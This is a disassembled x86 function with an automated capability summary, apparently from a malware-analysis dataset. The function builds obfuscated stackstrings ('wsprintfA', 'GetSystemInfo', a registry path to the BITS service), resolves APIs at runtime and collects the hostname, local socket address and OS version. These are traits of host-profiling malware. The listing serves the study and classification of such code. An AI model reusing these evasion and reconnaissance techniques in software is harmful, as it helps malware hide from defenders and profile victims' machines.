Function at 0x41039d
Capabilities:
Check os version
Contain obfuscated stackstrings
Get hostname
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x390
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x4013b0
push 0x4014ec
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x4014c0
push ebx
mov dword [ebp - 0x64], eax
call esi
push eax
call edi
and byte [ebp - 7], 0
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x10]
mov byte [ebp - 0x10], 0x77
push eax
push 0x4014e0
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x69
mov byte [ebp - 0xb], 0x6e
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x66
mov byte [ebp - 8], 0x41
call esi
push eax
call edi
and byte [ebp - 0xe2], 0
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x1cc]
mov byte [ebp - 0x1d0], 0x66
push eax
mov dword [ebp - 0x1cc], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, 1
mov eax, 0xffffffff
nop
nop
lea eax, [ebp - 0x390]
push pe_nt_image_headers32
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
push 0x10
lea eax, [ebp - 0x5c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x10
push eax
lea eax, [ebp - 0x5c]
push eax
mov eax, dword [ebp + 0xc]
push dword [eax + 0xa8]
call dword [sym.imp.WS2_32.dll_getsockname]
mov eax, 1
mov eax, 0xffffffff
nop
nop
lea eax, [ebp - 0x58]
push 4
push eax
lea eax, [ebp - 0x118]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x390]
push 0x32
push eax
lea eax, [ebp - 0x114]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
call fcn.0041013c
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x26c]
push eax
mov dword [ebp - 0x26c], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x268], 5
jne 0x4104fb
cmp dword [ebp - 0x264], 0
jne 0x4104fb
lea eax, [ebp - 0x12c]
push 0x401c00
push eax
call dword [ebp - 0x4c]
jmp 0x41055e
and byte [ebp - 0x3b], 0
lea eax, [ebp - 0x48]
push eax
push ebx
mov byte [ebp - 0x48], 0x47
mov byte [ebp - 0x47], 0x65
mov byte [ebp - 0x46], 0x74
mov byte [ebp - 0x45], 0x53
mov byte [ebp - 0x44], 0x79
mov byte [ebp - 0x43], 0x73
mov byte [ebp - 0x42], 0x74
mov byte [ebp - 0x41], 0x65
mov byte [ebp - 0x40], 0x6d
mov byte [ebp - 0x3f], 0x49
mov byte [ebp - 0x3e], 0x6e
mov byte [ebp - 0x3d], 0x66
mov byte [ebp - 0x3c], 0x6f
call esi
push eax
call edi
lea ecx, [ebp - 0x290]
push ecx
call eax
push dword [ebp - 0x27c]
lea eax, [ebp - 0x12c]
push 0x401d40
push eax
call dword [ebp - 0x60]
add esp, 0xc
call fcn.004102aa
mov byte [ebp - 0xe2], al
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xe0], eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov esi, dword [ebp - 0x4c]
lea eax, [ebp - 0x98]
push 0x41ad90
push eax
call esi
and byte [ebp - 0x12], 0
push 0
push 0x32
lea eax, [ebp - 0x98]
push 0
push eax
push 1
lea eax, [ebp - 0x38]
push 0x401634
push eax
push reloc.WS2_32.dll_bind
mov byte [ebp - 0x38], 0x53
mov byte [ebp - 0x37], 0x59
mov byte [ebp - 0x36], 0x53
mov byte [ebp - 0x35], 0x54
mov byte [ebp - 0x34], 0x45
mov byte [ebp - 0x33], 0x4d
mov byte [ebp - 0x32], 0x5c
mov byte [ebp - 0x31], 0x43
mov byte [ebp - 0x30], 0x75
mov byte [ebp - 0x2f], 0x72
mov byte [ebp - 0x2e], 0x72
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x6e
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x43
mov byte [ebp - 0x29], 0x6f
mov byte [ebp - 0x28], 0x6e
mov byte [ebp - 0x27], 0x74
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], 0x6f
mov byte [ebp - 0x24], 0x6c
mov byte [ebp - 0x23], 0x53
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x74
mov byte [ebp - 0x20], 0x5c
mov byte [ebp - 0x1f], 0x53
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x72
mov byte [ebp - 0x1c], 0x76
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x73
mov byte [ebp - 0x17], 0x5c
mov byte [ebp - 0x16], 0x42
mov byte [ebp - 0x15], 0x49
mov byte [ebp - 0x14], 0x54
mov byte [ebp - 0x13], 0x53
call fcn.0040ced4
add esp, 0x20
lea eax, [ebp - 0x98]
push eax
call dword [ebp - 0x64]
test eax, eax
jne 0x410663
push dword [ebp + 0x14]
jmp 0x41066a
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0xdc]
push eax
call esi
lea eax, [ebp - 0xaa]
push 0x401e18
push eax
call esi
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x1d0]
push 0x138
push eax
call fcn.00405e1b
pop edi
pop esi
pop ebx
leave
ret